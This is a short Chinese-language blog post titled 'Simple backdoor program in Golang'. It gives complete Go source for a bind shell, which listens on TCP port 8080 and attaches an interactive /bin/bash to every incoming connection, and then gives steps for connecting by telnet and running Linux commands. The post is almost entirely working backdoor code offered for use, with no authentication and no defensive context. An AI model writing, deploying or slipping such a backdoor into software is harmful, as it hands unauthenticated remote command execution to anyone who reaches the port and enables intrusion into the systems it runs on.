Golang实现简单的后门程序

package main

import (
	"io"
	"net"
	"os/exec"
)

func main() {
	var (
		listener net.Listener
		err      error
		conn     net.Conn
	)
	listener, err = net.Listen("tcp", ":8080")
	if err != nil {
		panic(err)
	}

	for {
		conn, err = listener.Accept()
		if err != nil {
			panic(err)
		}

		go handler(conn)

	}
}

// 函数处理
func handler(conn net.Conn) {
	var (
		cmd *exec.Cmd
		wp  *io.PipeWriter
		rp  *io.PipeReader
	)
	defer conn.Close()
	cmd = exec.Command("/bin/bash", "-i")
	cmd.Stdin = conn
	rp, wp = io.Pipe()
	cmd.Stdout = wp
	go io.Copy(conn, rp) 
	cmd.Run()            
}

启动 go run main.go

新打开一个窗口

telnet 127.0.0.1 8080

输入对应linux指令便可执行

posted @ 2023-11-07 09:34  朝阳1  阅读(87)  评论(0编辑  收藏  举报